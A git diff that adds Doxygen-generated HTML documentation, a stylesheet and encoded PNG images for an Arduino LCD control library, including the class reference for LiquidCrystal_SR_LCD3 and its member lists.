_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
command(uint8_t value)LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR_LCD3(uint8_t srdata, uint8_t srclock, uint8_t enable)LiquidCrystal_SR_LCD3
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR_LCD3 [virtual]
setBacklight(uint8_t value)LCD [inline, virtual]
setBacklightPin(uint8_t value)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html new file mode 100644 index 0000000..73b9d1e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html @@ -0,0 +1,200 @@ + + + + +LCD Library: LiquidCrystal_SR_LCD3 Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
LiquidCrystal_SR_LCD3 Class Reference
+
+
+ +

#include <LiquidCrystal_SR_LCD3.h>

+
+Inheritance diagram for LiquidCrystal_SR_LCD3:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + +

+Public Member Functions

 LiquidCrystal_SR_LCD3 (uint8_t srdata, uint8_t srclock, uint8_t enable)
virtual void send (uint8_t value, uint8_t mode)
+

Detailed Description

+
+

Definition at line 16 of file LiquidCrystal_SR_LCD3.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 (uint8_t srdata,
uint8_t srclock,
uint8_t enable 
)
+
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]enable pin for the shiftregister (also called strobe).
+
+
+ +

Definition at line 123 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR_LCD3::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 171 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.png new file mode 100644 index 0000000000000000000000000000000000000000..966e05cf9e457c77110adb4bac0ccacd89e03711 GIT binary patch literal 442 zcmeAS@N?(olHy`uVBq!ia0vp^lYuyZgBeI_xo@`xQW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;CBIRS^hfzu~p*F??vQ*wj8=YCCD7WLUtHD#5le2AOc6WJLDSkw#}fhw4U zAyjMBN!B7gfViCZ|^Z0iXVSMhbBY8UxdpUImM z#{Jkr@T0+cOK!K_>;1%)zD>A0PfGsCT{|V`<1S8$vfJ*=>DqPmpH0O?<;b*I^XBHg z?>T1C>bU<}aPRxe@{hJ0NjcZ~_T8?Vulx;mwu*b5PA{)L{?%^d<3CS>Rf7Ic$~1hh z^TX@Oudw;IDn8G({CrL{LDQkp(>!v8|K_gZ$W3;?w(T*uxV#`(tbM!D-Jf2|>Y5L- eEVK3b`Gno9Lc!XlKtlx>& + + + +LCD Library: Class Index + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
Class Index
+
+
+
I | L
+ +
  I  
+
  L  
+
LiquidCrystal   LiquidCrystal_SR   LiquidCrystal_SR3W   
I2CIO   LCD   LiquidCrystal_I2C   LiquidCrystal_SR2W   
I | L
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/closed.png b/libraries/LiquidCrystal/docs/html/closed.png new file mode 100644 index 0000000000000000000000000000000000000000..b7d4bd9fef2272c74b94762c9e2496177017775e GIT binary patch literal 126 zcmeAS@N?(olHy`uVBq!ia0vp^oFL4>1|%O$WD@{VuAVNAAr*{o?>h22DDp4|bgj*t z)u^AqcA-V@guRYpb17F<&b?_~8HV>~XqWvB;^$!VVSTy0!eQcJp_yD7TIQA>7dijs YXf6~H5cs^Q6KEiVr>mdKI;Vst0NsWqGynhq literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/doxygen.css b/libraries/LiquidCrystal/docs/html/doxygen.css new file mode 100644 index 0000000..74445fe --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/doxygen.css @@ -0,0 +1,835 @@ +/* The standard CSS for doxygen */ + +body, table, div, p, dl { + font-family: Lucida Grande, Verdana, Geneva, Arial, sans-serif; + font-size: 12px; +} + +/* @group Heading Levels */ + +h1 { + font-size: 150%; +} + +.title { + font-size: 150%; + font-weight: bold; + margin: 10px 2px; +} + +h2 { + font-size: 120%; +} + +h3 { + font-size: 100%; +} + +dt { + font-weight: bold; +} + +div.multicol { + -moz-column-gap: 1em; + -webkit-column-gap: 1em; + -moz-column-count: 3; + -webkit-column-count: 3; +} + +p.startli, p.startdd, p.starttd { + margin-top: 2px; +} + +p.endli { + margin-bottom: 0px; +} + +p.enddd { + margin-bottom: 4px; +} + +p.endtd { + margin-bottom: 2px; +} + +/* @end */ + +caption { + font-weight: bold; +} + +span.legend { + font-size: 70%; + text-align: center; +} + +h3.version { + font-size: 90%; + text-align: center; +} + +div.qindex, div.navtab{ + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; + margin: 2px; + padding: 2px; +} + +div.qindex, div.navpath { + width: 100%; + line-height: 140%; +} + +div.navtab { + margin-right: 15px; +} + +/* @group Link Styling */ + +a { + color: #3D578C; + font-weight: normal; + text-decoration: none; +} + +.contents a:visited { + color: #4665A2; +} + +a:hover { + text-decoration: underline; +} + +a.qindex { + font-weight: bold; +} + +a.qindexHL { + font-weight: bold; + background-color: #9CAFD4; + color: #ffffff; + border: 1px double #869DCA; +} + +.contents a.qindexHL:visited { + color: #ffffff; +} + +a.el { + font-weight: bold; +} + +a.elRef { +} + +a.code { + color: #4665A2; +} + +a.codeRef { + color: #4665A2; +} + +/* @end */ + +dl.el { + margin-left: -1cm; +} + +.fragment { + font-family: monospace, fixed; + font-size: 105%; +} + +pre.fragment { + border: 1px solid #C4CFE5; + background-color: #FBFCFD; + padding: 4px 6px; + margin: 4px 8px 4px 2px; + overflow: auto; + word-wrap: break-word; + font-size: 9pt; + line-height: 125%; +} + +div.ah { + background-color: black; + font-weight: bold; + color: #ffffff; + margin-bottom: 3px; + margin-top: 3px; + padding: 0.2em; + border: solid thin #333; + border-radius: 0.5em; + -webkit-border-radius: .5em; + -moz-border-radius: .5em; + box-shadow: 2px 2px 3px #999; + -webkit-box-shadow: 2px 2px 3px #999; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px; + background-image: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#000),color-stop(0.3, #444)); + background-image: -moz-linear-gradient(center top, #eee 0%, #444 40%, #000); +} + +div.groupHeader { + margin-left: 16px; + margin-top: 12px; + font-weight: bold; +} + +div.groupText { + margin-left: 16px; + font-style: italic; +} + +body { + background: white; + color: black; + margin: 0; +} + +div.contents { + margin-top: 10px; + margin-left: 10px; + margin-right: 5px; +} + +td.indexkey { + background-color: #EBEFF6; + font-weight: bold; + border: 1px solid #C4CFE5; + margin: 2px 0px 2px 0; + padding: 2px 10px; +} + +td.indexvalue { + background-color: #EBEFF6; + border: 1px solid #C4CFE5; + padding: 2px 10px; + margin: 2px 0px; +} + +tr.memlist { + background-color: #EEF1F7; +} + +p.formulaDsp { + text-align: center; +} + +img.formulaDsp { + +} + +img.formulaInl { + vertical-align: middle; +} + +div.center { + text-align: center; + margin-top: 0px; + margin-bottom: 0px; + padding: 0px; +} + +div.center img { + border: 0px; +} + +address.footer { + text-align: right; + padding-right: 12px; +} + +img.footer { + border: 0px; + vertical-align: middle; +} + +/* @group Code Colorization */ + +span.keyword { + color: #008000 +} + +span.keywordtype { + color: #604020 +} + +span.keywordflow { + color: #e08000 +} + +span.comment { + color: #800000 +} + +span.preprocessor { + color: #806020 +} + +span.stringliteral { + color: #002080 +} + +span.charliteral { + color: #008080 +} + +span.vhdldigit { + color: #ff00ff +} + +span.vhdlchar { + color: #000000 +} + +span.vhdlkeyword { + color: #700070 +} + +span.vhdllogic { + color: #ff0000 +} + +/* @end */ + +/* +.search { + color: #003399; + font-weight: bold; +} + +form.search { + margin-bottom: 0px; + margin-top: 0px; +} + +input.search { + font-size: 75%; + color: #000080; + font-weight: normal; + background-color: #e8eef2; +} +*/ + +td.tiny { + font-size: 75%; +} + +.dirtab { + padding: 4px; + border-collapse: collapse; + border: 1px solid #A3B4D7; +} + +th.dirtab { + background: #EBEFF6; + font-weight: bold; +} + +hr { + height: 0px; + border: none; + border-top: 1px solid #4A6AAA; +} + +hr.footer { + height: 1px; +} + +/* @group Member Descriptions */ + +table.memberdecls { + border-spacing: 0px; + padding: 0px; +} + +.mdescLeft, .mdescRight, +.memItemLeft, .memItemRight, +.memTemplItemLeft, .memTemplItemRight, .memTemplParams { + background-color: #F9FAFC; + border: none; + margin: 4px; + padding: 1px 0 0 8px; +} + +.mdescLeft, .mdescRight { + padding: 0px 8px 4px 8px; + color: #555; +} + +.memItemLeft, .memItemRight, .memTemplParams { + border-top: 1px solid #C4CFE5; +} + +.memItemLeft, .memTemplItemLeft { + white-space: nowrap; +} + +.memItemRight { + width: 100%; +} + +.memTemplParams { + color: #4665A2; + white-space: nowrap; +} + +/* @end */ + +/* @group Member Details */ + +/* Styles for detailed member documentation */ + +.memtemplate { + font-size: 80%; + color: #4665A2; + font-weight: normal; + margin-left: 9px; +} + +.memnav { + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; + margin: 2px; + margin-right: 15px; + padding: 2px; +} + +.mempage { + width: 100%; +} + +.memitem { + padding: 0; + margin-bottom: 10px; + margin-right: 5px; +} + +.memname { + white-space: nowrap; + font-weight: bold; + margin-left: 6px; +} + +.memproto { + border-top: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 6px 0px 6px 0px; + color: #253555; + font-weight: bold; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + /* opera specific markup */ + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + border-top-right-radius: 8px; + border-top-left-radius: 8px; + /* firefox specific markup */ + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + -moz-border-radius-topright: 8px; + -moz-border-radius-topleft: 8px; + /* webkit specific markup */ + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + -webkit-border-top-right-radius: 8px; + -webkit-border-top-left-radius: 8px; + background-image:url('nav_f.png'); + background-repeat:repeat-x; + background-color: #E2E8F2; + +} + +.memdoc { + border-bottom: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 2px 5px; + background-color: #FBFCFD; + border-top-width: 0; + /* opera specific markup */ + border-bottom-left-radius: 8px; + border-bottom-right-radius: 8px; + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + /* firefox specific markup */ + -moz-border-radius-bottomleft: 8px; + -moz-border-radius-bottomright: 8px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + background-image: -moz-linear-gradient(center top, #FFFFFF 0%, #FFFFFF 60%, #F7F8FB 95%, #EEF1F7); + /* webkit specific markup */ + -webkit-border-bottom-left-radius: 8px; + -webkit-border-bottom-right-radius: 8px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + background-image: -webkit-gradient(linear,center top,center bottom,from(#FFFFFF), color-stop(0.6,#FFFFFF), color-stop(0.60,#FFFFFF), color-stop(0.95,#F7F8FB), to(#EEF1F7)); +} + +.paramkey { + text-align: right; +} + +.paramtype { + white-space: nowrap; +} + +.paramname { + color: #602020; + white-space: nowrap; +} +.paramname em { + font-style: normal; +} + +.params, .retval, .exception, .tparams { + border-spacing: 6px 2px; +} + +.params .paramname, .retval .paramname { + font-weight: bold; + vertical-align: top; +} + +.params .paramtype { + font-style: italic; + vertical-align: top; +} + +.params .paramdir { + font-family: "courier new",courier,monospace; + vertical-align: top; +} + + + + +/* @end */ + +/* @group Directory (tree) */ + +/* for the tree view */ + +.ftvtree { + font-family: sans-serif; + margin: 0px; +} + +/* these are for tree view when used as main index */ + +.directory { + font-size: 9pt; + font-weight: bold; + margin: 5px; +} + +.directory h3 { + margin: 0px; + margin-top: 1em; + font-size: 11pt; +} + +/* +The following two styles can be used to replace the root node title +with an image of your choice. Simply uncomment the next two styles, +specify the name of your image and be sure to set 'height' to the +proper pixel height of your image. +*/ + +/* +.directory h3.swap { + height: 61px; + background-repeat: no-repeat; + background-image: url("yourimage.gif"); +} +.directory h3.swap span { + display: none; +} +*/ + +.directory > h3 { + margin-top: 0; +} + +.directory p { + margin: 0px; + white-space: nowrap; +} + +.directory div { + display: none; + margin: 0px; +} + +.directory img { + vertical-align: -30%; +} + +/* these are for tree view when not used as main index */ + +.directory-alt { + font-size: 100%; + font-weight: bold; +} + +.directory-alt h3 { + margin: 0px; + margin-top: 1em; + font-size: 11pt; +} + +.directory-alt > h3 { + margin-top: 0; +} + +.directory-alt p { + margin: 0px; + white-space: nowrap; +} + +.directory-alt div { + display: none; + margin: 0px; +} + +.directory-alt img { + vertical-align: -30%; +} + +/* @end */ + +div.dynheader { + margin-top: 8px; +} + +address { + font-style: normal; + color: #2A3D61; +} + +table.doxtable { + border-collapse:collapse; +} + +table.doxtable td, table.doxtable th { + border: 1px solid #2D4068; + padding: 3px 7px 2px; +} + +table.doxtable th { + background-color: #374F7F; + color: #FFFFFF; + font-size: 110%; + padding-bottom: 4px; + padding-top: 5px; + text-align:left; +} + +.tabsearch { + top: 0px; + left: 10px; + height: 36px; + background-image: url('tab_b.png'); + z-index: 101; + overflow: hidden; + font-size: 13px; +} + +.navpath ul +{ + font-size: 11px; + background-image:url('tab_b.png'); + background-repeat:repeat-x; + height:30px; + line-height:30px; + color:#8AA0CC; + border:solid 1px #C2CDE4; + overflow:hidden; + margin:0px; + padding:0px; +} + +.navpath li +{ + list-style-type:none; + float:left; + padding-left:10px; + padding-right:15px; + background-image:url('bc_s.png'); + background-repeat:no-repeat; + background-position:right; + color:#364D7C; +} + +.navpath li.navelem a +{ + height:32px; + display:block; + text-decoration: none; + outline: none; +} + +.navpath li.navelem a:hover +{ + color:#6884BD; +} + +.navpath li.footer +{ + list-style-type:none; + float:right; + padding-left:10px; + padding-right:15px; + background-image:none; + background-repeat:no-repeat; + background-position:right; + color:#364D7C; + font-size: 8pt; +} + + +div.summary +{ + float: right; + font-size: 8pt; + padding-right: 5px; + width: 50%; + text-align: right; +} + +div.summary a +{ + white-space: nowrap; +} + +div.ingroups +{ + font-size: 8pt; + padding-left: 5px; + width: 50%; + text-align: left; +} + +div.ingroups a +{ + white-space: nowrap; +} + +div.header +{ + background-image:url('nav_h.png'); + background-repeat:repeat-x; + background-color: #F9FAFC; + margin: 0px; + border-bottom: 1px solid #C4CFE5; +} + +div.headertitle +{ + padding: 5px 5px 5px 10px; +} + +dl +{ + padding: 0 0 0 10px; +} + +dl.note, dl.warning, dl.attention, dl.pre, dl.post, dl.invariant, dl.deprecated, dl.todo, dl.test, dl.bug +{ + border-left:4px solid; + padding: 0 0 0 6px; +} + +dl.note +{ + border-color: #D0C000; +} + +dl.warning, dl.attention +{ + border-color: #FF0000; +} + +dl.pre, dl.post, dl.invariant +{ + border-color: #00D000; +} + +dl.deprecated +{ + border-color: #505050; +} + +dl.todo +{ + border-color: #00C0E0; +} + +dl.test +{ + border-color: #3030E0; +} + +dl.bug +{ + border-color: #C08050; +} + +#projectlogo +{ + text-align: center; + vertical-align: bottom; + border-collapse: separate; +} + +#projectlogo img +{ + border: 0px none; +} + +#projectname +{ + font: 300% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 2px 0px; +} + +#projectbrief +{ + font: 120% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#projectnumber +{ + font: 50% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#titlearea +{ + padding: 0px; + margin: 0px; + width: 100%; + border-bottom: 1px solid #5373B4; +} + +.image +{ + text-align: center; +} + +.dotgraph +{ + text-align: center; +} + +.mscgraph +{ + text-align: center; +} + +.caption +{ + font-weight: bold; +} + diff --git a/libraries/LiquidCrystal/docs/html/doxygen.png b/libraries/LiquidCrystal/docs/html/doxygen.png new file mode 100644 index 0000000000000000000000000000000000000000..635ed52fce7057ac24df92ec7664088a881fa5d0 GIT binary patch literal 3942 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 A+yDRo literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/files.html b/libraries/LiquidCrystal/docs/html/files.html new file mode 100644 index 0000000..7b5bf54 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/files.html @@ -0,0 +1,102 @@ + + + + +LCD Library: File List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
File List
+
+
+
Here is a list of all files with brief descriptions:
+ + + + + + + + + + + + + + + + +
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h [code]
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/functions.html b/libraries/LiquidCrystal/docs/html/functions.html new file mode 100644 index 0000000..7536d38 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/functions.html @@ -0,0 +1,319 @@ + + + + +LCD Library: Class Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+
Here is a list of all class members with links to the classes they belong to:
+ +

- _ -

    +
  • _cols +: LCD +
  • +
  • _displaycontrol +: LCD +
  • +
  • _displayfunction +: LCD +
  • +
  • _displaymode +: LCD +
  • +
  • _numlines +: LCD +
  • +
  • _polarity +: LCD +
  • +
+ + +

- a -

    +
  • autoscroll() +: LCD +
  • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
  • +
  • createChar() +: LCD +
  • +
  • cursor() +: LCD +
  • +
+ + +

- d -

    +
  • digitalRead() +: I2CIO +
  • +
  • digitalWrite() +: I2CIO +
  • +
  • display() +: LCD +
  • +
+ + +

- h -

    +
  • home() +: LCD +
  • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
  • +
  • moveCursorRight() +: LCD +
  • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
  • +
  • noBacklight() +: LCD +
  • +
  • noBlink() +: LCD +
  • +
  • noCursor() +: LCD +
  • +
  • noDisplay() +: LCD +
  • +
+ + +

- o -

    +
  • off() +: LCD +
  • +
  • on() +: LCD +
  • +
+ + +

- p -

+ + +

- r -

    +
  • read() +: I2CIO +
  • +
  • rightToLeft() +: LCD +
  • +
+ + +

- s -

+ + +

- w -

+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/functions_func.html b/libraries/LiquidCrystal/docs/html/functions_func.html new file mode 100644 index 0000000..6b7e721 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/functions_func.html @@ -0,0 +1,296 @@ + + + + +LCD Library: Class Members - Functions + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+  + +

- a -

    +
  • autoscroll() +: LCD +
  • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
  • +
  • createChar() +: LCD +
  • +
  • cursor() +: LCD +
  • +
+ + +

- d -

    +
  • digitalRead() +: I2CIO +
  • +
  • digitalWrite() +: I2CIO +
  • +
  • display() +: LCD +
  • +
+ + +

- h -

    +
  • home() +: LCD +
  • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
  • +
  • moveCursorRight() +: LCD +
  • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
  • +
  • noBacklight() +: LCD +
  • +
